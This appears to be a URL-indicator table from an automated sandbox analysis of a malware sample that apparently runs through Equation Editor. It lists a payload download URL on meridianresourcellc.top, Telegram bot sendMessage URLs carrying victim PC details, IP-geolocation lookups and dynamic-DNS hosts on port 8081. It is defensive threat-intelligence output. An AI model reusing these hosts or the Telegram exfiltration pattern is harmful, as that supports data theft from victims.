https://duckduckgo.com/chrome_newtab	swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034C2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.0000000003468000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://meridianresourcellc.top/swagodi.scrj	EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://api.telegram.orgX	swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20a	swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.334	swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://meridianresourcellc.top/swagodi.scrsoC:	EQNEDT32.EXE, 00000009.00000002.393794677.00000000042A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://varders.kozow.com:8081	swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://meridianresourcellc.top/	EQNEDT32.EXE, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, meridianresourcellc.top.url.0.dr	true	Avira URL Cloud: malware	unknown
https://www.google.com/search?q=wmf	gRpkBp.exe, 0000001D.00000002.664487526.0000000003468000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://reallyfreegeoip.org	swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024B4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/X	swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002568000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002439000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002465000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.com	swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	swagodi78811.scr, 0000000A.00000002.410819357.0000000002101000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 00000016.00000002.427914204.00000000021C1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://download.visualstud	swagodi78811.scr, 00000014.00000002.664602794.000000000352D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i	gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microsoftXT7/windows/2004/02/mit/tas	taskeng.exe, 00000015.00000002.662983168.000000000033E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.330Kp	gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000248D000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002568000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002439000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002386000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.c	EQNEDT32.EXE, 00000009.00000002.393794677.00000000042B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	EQNEDT32.EXE, 00000009.00000002.393794677.00000000042B0000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr	false	URL Reputation: safe	unknown
https://www.google.com/favicon.ico	gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://meridianresourcellc.top/swagodi.scrllC:	EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/sorry/index	gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034C2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.0000000003468000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org	swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=net	gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034F6000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/indextest	swagodi78811.scr, 00000014.00000002.664602794.0000000003607000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.664602794.000000000351B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034AC000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
